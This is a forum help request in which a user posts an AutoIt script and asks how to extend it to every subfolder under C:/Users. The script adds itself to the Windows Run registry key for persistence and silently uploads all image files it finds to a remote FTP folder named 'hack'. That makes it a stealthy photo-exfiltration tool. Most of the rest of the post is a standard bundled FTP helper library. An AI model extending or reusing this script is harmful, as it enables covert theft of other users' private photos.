Sign in to follow this  
Followers 0
evinx

how can i search sub folders

1 post in this topic

#1 ·  Posted (edited)

hello there

i have a old script but its not working fine any more

i hope someone can help me

is it possible to edit the code so it read all subfolders

now i have to add c:/users/petra/pictures to upload all files in the folder pictures

now i want to add c:/users/ and it uploads every image that is standing in users/(subfolders)

how can i add this function :??

#Include <File.au3>
; === Opties ===
; Optie variabele waarin staat in welke directories je gaat zoeken.
; Voer geen directories in zoals C:\123\ EN C:\123\456, gebruik dan alleen C:\123\
Local $opt_SearchDir[1] = ["C:\Users\petra\Pictures"] ; <== Invullen
; Optie voor file extensions.
Local $opt_FileExtensions = "*.jpg; *.jpeg; *.png; *.bmp; *.gif"
; FTP opties
Local $opt_FTP_Server = "xxx.pcextreme.nl" ; <== Invullen
Local $opt_FTP_Username = "ftp.xxx.nl" ; <== Invullen
Local $opt_FTP_Password = "xxxxx" ; <== Invullen
Local $opt_FTP_Directory = "/domains/evinx.nl/htdocs/hack/" ; Moet met / gedaan. Moet een / aan het begin en aan het eind. Voorbeeld: /public_html/images/
; =======================
; === Hoofd programma ===
;If ( Not @Compiled ) Then
; MsgBox(0, "", "This script needs to be compiled.")
; Exit
;EndIf
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "UploadImageToFTP", "REG_SZ", @ScriptFullPath)
;RegDelete("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "UploadImageToFTP")
Global $hFtp
_Connect()
For $i = 0 to UBound($opt_SearchDir)-1
$lFile = _FileListToArrayEx($opt_SearchDir[$i],$opt_FileExtensions,True)
For $n = 1 To UBound($lFile)-1
  _FTPUpload($lFile[$n])
Next
Next
_Close()
Exit
Func _Connect()
$hFtp = _FTPOpen("ManadarX")
_FTPConnect($hFtp, $opt_FTP_Server, $opt_FTP_Username, $opt_FTP_Password, 21, 1, 0x08000000)
If @error Then
  MsgBox(0,"UploadToFTP", "Er kan geen verbinding worden gemaakt met de server. ")
  Exit
EndIf

_FTPMakeDir($hFtp, $opt_FTP_Directory)

_FtpSetCurrentDir($hFtp, $opt_FTP_Directory)
EndFunc
Func _FTPUpload($pFile)
Local $aDrive, $aDir, $aFile, $aExt

ConsoleWrite("Uploading file " & $pFile & @CRLF)
_PathSplit($pFile,$aDrive,$aDir,$aFile,$aExt)

_FTPPutFile($hFtp, $pFile, $opt_FTP_Directory & $aFile & $aExt, 2) ;; <== Werkt dus niet
EndFunc
Func _Close()
_FTPClose($hFtp)
EndFunc
; Utility functions
Func _FileListToArrayEx($sPath, $sFilter = '*.*', $iRecurse = False)
    If Not FileExists($sPath) Then Return SetError(1, 1, '')
    If $sFilter = -1 Or $sFilter = Default Then $sFilter = '*.*'
    ;If $sExclude = -1 Or $sExclude = Default Then $sExclude = ''
    ;Local $aBadChar[6] = ['\', '/', ':', '>', '<', '|']
    $sFilter = StringRegExpReplace($sFilter, '\s*;\s*', ';')
    If StringRight($sPath, 1) <> '\' Then $sPath &= '\'
    ;For $iCC = 0 To 5
    ;    If StringInStr($sFilter, $aBadChar[$iCC]) Or _
    ;        StringInStr($sExclude, $aBadChar[$iCC]) Then Return SetError(2, 2, '')
    ;Next
    If StringStripWS($sFilter, 8) = '' Then Return SetError(2, 2, '')
    Local $oFSO = ObjCreate("Scripting.FileSystemObject"), $sTFolder
    $sTFolder = $oFSO.GetSpecialFolder(2)
    Local $hOutFile = @TempDir & $oFSO.GetTempName
    If Not StringInStr($sFilter, ';') Then $sFilter &= ';'
    Local $aSplit = StringSplit(StringStripWS($sFilter, 8), ';'), $sRead, $sHoldSplit
    For $iCC = 1 To $aSplit[0]
        If StringStripWS($aSplit[$iCC],8) = '' Then ContinueLoop
        If StringLeft($aSplit[$iCC], 1) = '.' And _
            UBound(StringSplit($aSplit[$iCC], '.')) - 2 = 1 Then $aSplit[$iCC] = '*' & $aSplit[$iCC]
        $sHoldSplit &= '"' & $sPath & $aSplit[$iCC] & '" '
    Next
    $sHoldSplit = StringTrimRight($sHoldSplit, 1)
    If $iRecurse Then
        RunWait(@Comspec & ' /c dir /b /s /a ' & $sHoldSplit & ' > "' & $hOutFile & '"', '', @SW_HIDE)
    Else
        RunWait(@ComSpec & ' /c dir /b /a ' & $sHoldSplit & ' /o-e /od > "' & $hOutFile & '"', '', @SW_HIDE)
    EndIf
    $sRead &= FileRead($hOutFile)
    If Not FileExists($hOutFile) Then Return SetError(4, 4, '')
    FileDelete($hOutFile)
    If StringStripWS($sRead, 8) = '' Then SetError(4, 4, '')
    Local $aFSplit = StringSplit(StringTrimRight(StringStripCR($sRead), 1), @LF)
    Local $sHold
    For $iCC = 1 To $aFSplit[0]
        ;If $sExclude And StringLeft($aFSplit[$iCC], StringLen(StringReplace($sExclude, '*', ''))) = StringReplace($sExclude, '*', '') Then ContinueLoop

  If StringInStr(FileGetAttrib($sPath & '\' & $aFSplit[$iCC]), 'd') = 0 And _
   StringInStr(FileGetAttrib($aFSplit[$iCC]), 'd') = 0 Then
   If StringRegExp($aFSplit[$iCC], '\w:\\') = 0 Then
    $sHold &= $sPath & $aFSplit[$iCC] & Chr(1)
   Else
    $sHold &= $aFSplit[$iCC] & Chr(1)
   EndIf
  EndIf

    Next
    If StringTrimRight($sHold, 1) Then Return StringSplit(StringTrimRight($sHold, 1), Chr(1))
    Return SetError(4, 4, '')
EndFunc
;FTP UDF, Updated By JohnMC On Sept 10th 2008
;
;A Map Of The Handle Array:
;[0]
;[1]= wininet.dll handle
;[2]= InternetOpen handle
;[3]= InternetConnect handle
;[4]= FTPFileFindFirst dll struct handle
;[5]= FtpFindFirstFile handle
;
;===============================================================================
;
; Function Name:    _FTPOpen()
; Description:      Opens an FTP session.
; Parameter(s):     $s_Agent       - Random name. ( like "myftp" )
;                   $l_AccessType  - I dont got a clue what this does.
;                   $s_ProxyName   - ProxyName.
;                   $s_ProxyBypass - ProxyByPasses's.
;                   $l_Flags        - Special flags.
; Requirement(s):   wininet.dll
; Return Value(s):  On Success - Returns an indentifier.
;                   On Failure - 0  and sets @ERROR
; Author(s):        Wouter van Kesteren.
;
;===============================================================================
Func _FTPOpen($s_Agent, $l_AccessType = 1, $s_ProxyName = '', $s_ProxyBypass = '', $l_Flags = 0)

local $handles[6]
$handles[1]=DllOpen("wininet.dll")

Local $ai_InternetOpen = DllCall($handles[1], 'long', 'InternetOpen', 'str', $s_Agent, 'long', $l_AccessType, 'str', $s_ProxyName, 'str', $s_ProxyBypass, 'long', $l_Flags)
If @error OR $ai_InternetOpen[0] = 0 Then
  SetError(-1)
  Return 0
EndIf

$handles[2]=$ai_InternetOpen[0]

Return $handles

EndFunc ;==> _FTPOpen()
;===============================================================================
;
; Function Name:    _FTPConnect()
; Description:      Connects to an FTP server.
; Parameter(s):     $l_InternetSession - Array from _FTPOpen()
;                   $s_ServerName   - Server name/ip.
;                   $s_Username    - Username.
;                   $s_Password   - Password.
;                   $i_ServerPort    - Server port ( 0 is default (21) )
;     $l_Service   - I dont got a clue what this does.
;     $l_Flags   - Special flags.
;     $l_Context   - I dont got a clue what this does.
; Requirement(s):   wininet.dll
; Return Value(s):  On Success - 1.
;                   On Failure - 0  and sets @ERROR
; Author(s):        Wouter van Kesteren
;
;===============================================================================
Func _FTPConnect(ByRef $l_InternetSession, $s_ServerName, $s_Username, $s_Password, $i_ServerPort = 21, $l_Service = 1, $l_Flags = 0, $l_Context = 0)
Local $ai_InternetConnect = DllCall($l_InternetSession[1], 'long', 'InternetConnect', 'long', $l_InternetSession[2], 'str', $s_ServerName, 'int', $i_ServerPort, 'str', $s_Username, 'str', $s_Password, 'long', $l_Service, 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_InternetConnect[0] = 0 Then
  SetError(-1)
  Return 0
EndIf

$l_InternetSession[3]=$ai_InternetConnect[0]

Return 1

EndFunc ;==> _FTPConnect()
;===============================================================================
;
; Function Name:    _FTPPutFile()
; Description:      Puts an file on an FTP server.
; Parameter(s):     $l_FTPSession   - Array from _FTPOpen()
;                   $s_LocalFile  - The local file.
;                   $s_RemoteFile   - The remote Location for the file.
;                   $l_Flags  - Special flags.
;                   $l_Context   - I dont got a clue what this does.
; Requirement(s):   DllCall, wininet.dll
; Return Value(s):  On Success - 1
;                   On Failure - 0
; Author(s):        Wouter van Kesteren
;
;===============================================================================
Func _FTPPutFile(ByRef $l_FTPSession, $s_LocalFile, $s_RemoteFile, $l_Flags = 0, $l_Context = 0)
Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'FtpPutFile', 'long', $l_FTPSession[3], 'str', $s_LocalFile, 'str', $s_RemoteFile, 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_FTPPutFile[0] = 0 Then
  SetError(-1)
  Return 0
EndIf

Return $ai_FTPPutFile[0]

EndFunc ;==> _FTPPutFile()
;===================================================================================================
;
; Function Name:    _FTPPutFolderContents()
; Description:      Puts an folder on an FTP server. Recursivley if selected
; Parameter(s):     $l_FTPSession    - Array from _FTPOpen()
;                   $s_LocalFolder   - The local folder i.e. "c:\temp".
;                   $s_RemoteFolder  - The remote folder i.e. '/website/home'.
;                   $b_RecursivePut  - Recurse through sub-dirs. 0=Non recursive, 1=Recursive
; Requirement(s):   wininet.dll
; Author(s):        Stumpii
;
;===================================================================================================
Func _FTPPutFolderContents(ByRef $l_FTPSession, $s_LocalFolder, $s_RemoteFolder, $b_RecursivePut)

; Shows the filenames of all files in the current directory.
    local $search = FileFindFirstFile($s_LocalFolder & "\*.*")

; Check if the search was successful
    If $search = -1 Then
        MsgBox(0, "Error", "No files/directories matched the search pattern")
        Exit
    EndIf

    While 1
        local $file = FileFindNextFile($search)
        If @error Then ExitLoop
        If StringInStr(FileGetAttrib($s_LocalFolder & "\" & $file), "D") Then
            _FTPMakeDir($l_FTPSession, $s_RemoteFolder & "/" & $file)
            If $b_RecursivePut Then
                _FTPPutFolderContents($l_FTPSession, $s_LocalFolder & "\" & $file, $s_RemoteFolder & "/" & $file, $b_RecursivePut)
            EndIf
        Else
            _FTPPutFile($l_FTPSession, $s_LocalFolder & "\" & $file, $s_RemoteFolder & "/" & $file, 0, 0)
        EndIf
WEnd
; Close the search handle
FileClose($search)
EndFunc ;==>_FTPPutFolderContents
;===============================================================================
;
; Function Name:    _FTPGetFoldercontents
; Description:      Recursively retrieves the contents of a directory on an FTP server.
; Parameter(s):     $l_FTPSession   - Array from _FTPOpen()
;     $s_RemoteDir    - The directory on the server to retrieve. (Needs trailing forwardslash)
;                   $s_LocalDir     - The Local directory to save to. (Needs trailing backslash)
;     $b_RecursiveGet - Recurse through sub-dirs. 0=Non recursive (top dir only), 1=Recursive (note that this is not tru recursion)
;     $s_searchfor    - (UNTESTED OTHER THEN DEFAULT) What to download, must be set to default * to download subfolders currently
; Requirement(s):   wininet.dll
; Return Value(s):  On Success - 1
;                   On Failure - 0
; Author(s):        JohnMC
;
;===============================================================================
Func _FTPGetFolderContents(ByRef $l_FTPSession, $s_RemoteDir, $s_LocalDir, $b_RecursiveGet=1, $s_searchfor="*")
local $folderlist[1]
Local $i=0
While $i < UBound($folderlist)
  Local $subpath=$folderlist[$i]
  _FtpSetCurrentDir($l_FTPSession,"/" & $s_RemoteDir & $subpath)
  local $FileInfo = _FtpFileFindFirst ($l_FTPSession,$s_searchfor)

  while $FileInfo[0]<>0
   if $FileInfo[1]=16 and $FileInfo[10] <> "." and $FileInfo[10] <> ".." And $b_RecursiveGet<>0 Then
    Local $iUBound = UBound($folderlist)
    ReDim $folderlist[$iUBound + 1]
    $folderlist[$iUBound] = "/" & $subpath & $FileInfo[10] & "/"

   elseif $FileInfo[1]=128 then
    $downloadto = $s_LocalDir & stringReplace ($subpath,"/","\")
    If Not FileExists($downloadto) then DirCreate($downloadto)
    _FTPGetFile($l_FTPSession,$FileInfo[10],$downloadto&$FileInfo[10])
   endif

   $FileInfo = _FtpFileFindNext($l_FTPSession)
  wend

  _FTPFileFindClose($l_FTPSession)
  $i+=1
WEnd
EndFunc  ;==>_FTPGetFolderContents
;===============================================================================
;
; Function Name:    _FTPGetFile()
; Description:      Puts an file on an FTP server.
; Parameter(s):     $l_FTPSession - Array from _FTPOpen()
;                   $s_RemoteFile  - The remote file.
;                   $s_LocalFile   - The Local Location to download to.
;     $l_FailEx  - If File Exists Localy 1=Fail 0=Proceed (Default) ;Fail Caused Crash For Me On My Vista Machine, changed default -JohnMC
;                   $l_FlagsA  - Special flags & Attributes. -JohnMC
;                   $l_Flags  - Special flags.
;                   $l_Context   - I dont got a clue what this does.
; Requirement(s):   wininet.dll
; Return Value(s):  On Success - 1
;                   On Failure - 0
; Author(s):        Dick Bronsdijk
; Updated By JohnMC To Add $l_FailEx and $l_FlagsA
;
;===============================================================================
Func _FTPGetFile(ByRef $l_FTPSession, $s_RemoteFile,  $s_LocalFile, $l_FailEx = 0, $l_FlagsA = 0,  $l_Flags = 0, $l_Context = 0)
    Local $ai_FTPGetFile = DllCall($l_FTPSession[1], 'int', 'FtpGetFile', 'long', $l_FTPSession[3], 'str', $s_RemoteFile, 'str', $s_LocalFile, 'long', $l_FailEx, 'long', $l_FlagsA, 'long', $l_Flags, 'long', $l_Context)
    If @error OR $ai_FTPGetFile[0] = 0 Then
        SetError(-1)
        Return 0
    EndIf

    Return $ai_FTPGetFile[0]

EndFunc;==> _FTPPutFile()
;===============================================================================
;
; Function Name:    _FTPDelFile()
; Description:      Delete an file from an FTP server.
; Parameter(s):     $l_FTPSession - Array from _FTPOpen()
;                   $s_RemoteFile   - The remote Location for the file.
; Requirement(s):   DllCall, wininet.dll
; Return Value(s):  On Success - 1
;                   On Failure - 0
; Author(s):        Wouter van Kesteren
;
;===============================================================================
Func _FTPDelFile(ByRef $l_FTPSession, $s_RemoteFile)

Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'FtpDeleteFile', 'long', $l_FTPSession[3], 'str', $s_RemoteFile)
If @error OR $ai_FTPPutFile[0] = 0 Then
  SetError(-1)
  Return 0
EndIf

Return $ai_FTPPutFile[0]

EndFunc ;==> _FTPDelFile()
;===============================================================================
;
; Function Name:    _FTPRenameFile()
; Description:      Renames an file on an FTP server.
; Parameter(s):     $l_FTPSession - Array from _FTPOpen()
;                   $s_Existing  - The old file name.
;                   $s_New    - The new file name.
; Requirement(s):   wininet.dll
; Return Value(s):  On Success - 1
;                   On Failure - 0
; Author(s):        Wouter van Kesteren
;
;===============================================================================
Func _FTPRenameFile(ByRef $l_FTPSession, $s_Existing, $s_New)

Local $ai_FTPRenameFile = DllCall($l_FTPSession[1], 'int', 'FtpRenameFile', 'long', $l_FTPSession[3], 'str', $s_Existing, 'str', $s_New)
If @error OR $ai_FTPRenameFile[0] = 0 Then
  SetError(-1)
  Return 0
EndIf

Return $ai_FTPRenameFile[0]

EndFunc ;==> _FTPRenameFile()
;===============================================================================
;
; Function Name:    _FTPMakeDir()
; Description:      Makes an Directory on an FTP server.
; Parameter(s):     $l_FTPSession - Array from _FTPOpen()
;                   $s_Remote   - The file name to be deleted.
; Requirement(s):   wininet.dll
; Return Value(s):  On Success - 1
;                   On Failure - 0
; Author(s):        Wouter van Kesteren
;
;===============================================================================
Func _FTPMakeDir(ByRef $l_FTPSession, $s_Remote)

Local $ai_FTPMakeDir = DllCall($l_FTPSession[1], 'int', 'FtpCreateDirectory', 'long', $l_FTPSession[3], 'str', $s_Remote)
If @error OR $ai_FTPMakeDir[0] = 0 Then
  SetError(-1)
  Return 0
EndIf

Return $ai_FTPMakeDir[0]

EndFunc ;==> _FTPMakeDir()
;===============================================================================
;
; Function Name:    _FTPDelDir()
; Description:      Delete's an Directory on an FTP server.
; Parameter(s):     $l_FTPSession - Array from _FTPOpen()
;                   $s_Remote   - The Directory to be deleted.
; Requirement(s):   DllCall, wininet.dll
; Return Value(s):  On Success - 1
;                   On Failure - 0
; Author(s):        Wouter van Kesteren
;
;===============================================================================
Func _FTPDelDir(ByRef $l_FTPSession, $s_Remote)

Local $ai_FTPDelDir = DllCall($l_FTPSession[1], 'int', 'FtpRemoveDirectory', 'long', $l_FTPSession[3], 'str', $s_Remote)
If @error OR $ai_FTPDelDir[0] = 0 Then
  SetError(-1)
  Return 0
EndIf

Return $ai_FTPDelDir[0]

EndFunc ;==> _FTPDelDir()
;===============================================================================
;
; Function Name:    _FTPGetFileSize()
; Description:      Gets the file size of a remote file
; Parameter(s):     $l_FTPSession - Array from _FTPOpen()
;                   $s_FileName  - Remote file
; Requirement(s):   wininet.dll
; Return Value(s):  On Success - 1
;                   On Failure - 0
; Author(s):        J.o.a.c.h.i.m. d.e. K.o.n.i.n.g.
;
;===============================================================================
Func _FTPGetFileSize(ByRef $l_FTPSession, $s_FileName)
    Local $ai_FTPGetSizeHandle = DllCall($l_FTPSession[1], 'int', 'FtpOpenFile', 'long', $l_FTPSession[3], 'str', $s_FileName, 'long', 0x80000000, 'long', 0x04000002, 'long', 0)
    Local $ai_FTPGetFileSize = DllCall($l_FTPSession[1], 'int', 'FtpGetFileSize', 'long', $ai_FTPGetSizeHandle[0])
    If @error OR $ai_FTPGetFileSize[0] = 0 Then
        SetError(-1)
        Return 0
    EndIf
    DllCall($l_FTPSession[1], 'int', 'InternetCloseHandle', 'str', $ai_FTPGetSizeHandle[0])
    Return $ai_FTPGetFileSize[0]

EndFunc ;==> _FTPGetFileSize()
;===============================================================================
;
; Function Name:    _FTPGetCurrentDir()
; Description:      Get Current Directory on an FTP server.
; Parameter(s):     $l_FTPSession - Array from _FTPOpen()
; Requirement(s):   wininet.dll
; Return Value(s):  On Success - Directory Name
;                   On Failure - 0
; Author(s):        Beast
;
;===============================================================================
Func _FTPGetCurrentDir(ByRef $l_FTPSession)
    Local $ai_FTPGetCurrentDir = DllCall($l_FTPSession[1], 'int', 'FtpGetCurrentDirectory', 'long', $l_FTPSession[3], 'str', "", 'long_ptr', 260)
    If @error OR $ai_FTPGetCurrentDir[0] = 0 Then
        SetError(-1)
        Return 0
    EndIf

    Return $ai_FTPGetCurrentDir[2]

EndFunc;==> _FTPGetCurrentDir()
;===============================================================================
;
; Function Name:    _FtpSetCurrentDir()
; Description:      Set Current Directory on an FTP server.
; Parameter(s):     $l_FTPSession    - Array from _FTPOpen()
;                   $s_Remote        - The Directory to be set.
; Requirement(s):   wininet.dll
; Return Value(s):  On Success - 1
;                   On Failure - 0
; Author(s):        Beast
;
;===============================================================================
Func _FtpSetCurrentDir(ByRef $l_FTPSession, $s_Remote)

    Local $ai_FTPSetCurrentDir = DllCall($l_FTPSession[1], 'int', 'FtpSetCurrentDirectory', 'long', $l_FTPSession[3], 'str', $s_Remote)
    If @error OR $ai_FTPSetCurrentDir[0] = 0 Then
        SetError(-1)
        Return 0
    EndIf

    Return $ai_FTPSetCurrentDir[0]

EndFunc;==> _FtpSetCurrentDir()
;===============================================================================
;
; Function Name:    _FTPFileFindFirst()
; Description:      Find First File on an FTP server.
; Parameter(s):     $l_FTPSession - Array from _FTPOpen()
;                   $s_RemoteFile   - The remote file to find
; Requirement(s):   wininet.dll
; Return Value(s):  On Success - 1
;                   On Failure - 0
; Author(s):        Dick Bronsdijk
;
;===============================================================================
Func _FTPFileFindFirst(ByRef $l_FTPSession, $s_RemoteFile, $l_Flags = 0, $l_Context = 0)
$l_FTPSession[4]=DllStructCreate("int;uint[2];uint[2];uint[2];int;int;int;int;char[256];char[14]")
if @error Then
  SetError(-2)
  Return ""
endif
Dim $a_FTPFileList[1]
$a_FTPFileList[0] = 0
Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'FtpFindFirstFile', 'long', $l_FTPSession[3], 'str', $s_RemoteFile, 'ptr', DllStructGetPtr($l_FTPSession[4]), 'long', $l_Flags, 'long', $l_Context)
If @error OR $ai_FTPPutFile[0] = 0 Then
  SetError(-1)
  Return $a_FTPFileList
EndIf
$l_FTPSession[5] = $ai_FTPPutFile[0]
$FileName = DllStructGetData($l_FTPSession[4], 9)
Dim $a_FTPFileList[12]
$a_FTPFileList[0] = 12
$a_FTPFileList[1] = DllStructGetData($l_FTPSession[4], 1)    ; File Attributes
$a_FTPFileList[2] = DllStructGetData($l_FTPSession[4], 2, 1) ; Creation Time Low
$a_FTPFileList[3] = DllStructGetData($l_FTPSession[4], 2, 2) ; Creation Time High
$a_FTPFileList[4] = DllStructGetData($l_FTPSession[4], 3, 1) ; Access Time Low
$a_FTPFileList[5] = DllStructGetData($l_FTPSession[4], 3, 2) ; Access Time High
$a_FTPFileList[6] = DllStructGetData($l_FTPSession[4], 4, 1) ; Last Write Low
$a_FTPFileList[7] = DllStructGetData($l_FTPSession[4], 4, 2) ; Last Write High
$a_FTPFileList[8] = DllStructGetData($l_FTPSession[4], 5)    ; File Size High
$a_FTPFileList[9] = DllStructGetData($l_FTPSession[4], 6)    ; File Size Low
$a_FTPFileList[10] = DllStructGetData($l_FTPSession[4], 9)   ; File Name
$a_FTPFileList[11] = DllStructGetData($l_FTPSession[4], 10)  ; Altername
Return $a_FTPFileList
EndFunc;==> _FTPFileFindFirst()
;===============================================================================
;
; Function Name:    _FTPFileFindNext()
; Description:      Find Next File on an FTP server.
; Parameter(s):     $l_FTPSession - Array from _FTPOpen()
;                   $l_DllStruct  -
; Requirement(s):   wininet.dll
; Return Value(s):  On Success - 1
;                   On Failure - 0
; Author(s):        Dick Bronsdijk
;
;===============================================================================
Func _FTPFileFindNext(ByRef $l_FTPSession)
Dim $a_FTPFileList[1]
$a_FTPFileList[0] = 0
Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'InternetFindNextFile', 'long',$l_FTPSession[5], 'ptr', DllStructGetPtr($l_FTPSession[4]))
If @error OR $ai_FTPPutFile[0] = 0 Then
  SetError(-1)
  Return $a_FTPFileList
EndIf
Dim $a_FTPFileList[12]
$a_FTPFileList[0] = 12
$a_FTPFileList[1] = DllStructGetData($l_FTPSession[4], 1)    ; File Attributes
$a_FTPFileList[2] = DllStructGetData($l_FTPSession[4], 2, 1) ; Creation Time Low
$a_FTPFileList[3] = DllStructGetData($l_FTPSession[4], 2, 2) ; Creation Time High
$a_FTPFileList[4] = DllStructGetData($l_FTPSession[4], 3, 1) ; Access Time Low
$a_FTPFileList[5] = DllStructGetData($l_FTPSession[4], 3, 2) ; Access Time High
$a_FTPFileList[6] = DllStructGetData($l_FTPSession[4], 4, 1) ; Last Write Low
$a_FTPFileList[7] = DllStructGetData($l_FTPSession[4], 4, 2) ; Last Write High
$a_FTPFileList[8] = DllStructGetData($l_FTPSession[4], 5)    ; File Size High
$a_FTPFileList[9] = DllStructGetData($l_FTPSession[4], 6)    ; File Size Low
$a_FTPFileList[10] = DllStructGetData($l_FTPSession[4], 9)  ; File Name
$a_FTPFileList[11] = DllStructGetData($l_FTPSession[4], 10)  ; Altername
Return $a_FTPFileList
EndFunc;==> _FTPFileFindNext()
;===============================================================================
;
; Function Name:    _FTPFileFindClose()
; Description:      Delete FindFile Structure.
; Parameter(s):     $l_FTPSession - Array from _FTPOpen()
; Requirement(s):   wininet.dll
; Return Value(s):  On Success - 1
;                   On Failure - 0
; Author(s):        Dick Bronsdijk
;
;===============================================================================
Func _FTPFileFindClose($l_FTPSession)

Local $ai_FTPPutFile = DllCall($l_FTPSession[1], 'int', 'InternetCloseHandle', 'long', $l_FTPSession[5])
If @error OR $ai_FTPPutFile[0] = 0 Then
  SetError(-1)
  Return ""
EndIf
Return $ai_FTPPutFile[0]

EndFunc;==> _FTPFileFindClose()
;===============================================================================
;
; Function Name:    _FTPClose()
; Description:      Closes the _FTPOpen session.
; Parameter(s):     $l_InternetSession - Array from _FTPOpen()
; Requirement(s):   wininet.dll
; Return Value(s):  On Success - 1
;                   On Failure - 0
; Author(s):        Wouter van Kesteren
;
;===============================================================================
Func _FTPClose($l_InternetSession)

Local $ai_InternetCloseHandle = DllCall($l_InternetSession[1], 'int', 'InternetCloseHandle', 'long', $l_InternetSession[2])
DLLClose($l_InternetSession[1])
If @error OR $ai_InternetCloseHandle[0] = 0 Then
  SetError(-1)
  Return 0
EndIf


Return $ai_InternetCloseHandle[0]

EndFunc ;==> _FTPClose()
Edited by evinx
Changed tags to autoit

sorry for my bad english

Share this post


Link to post
Share on other sites



Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0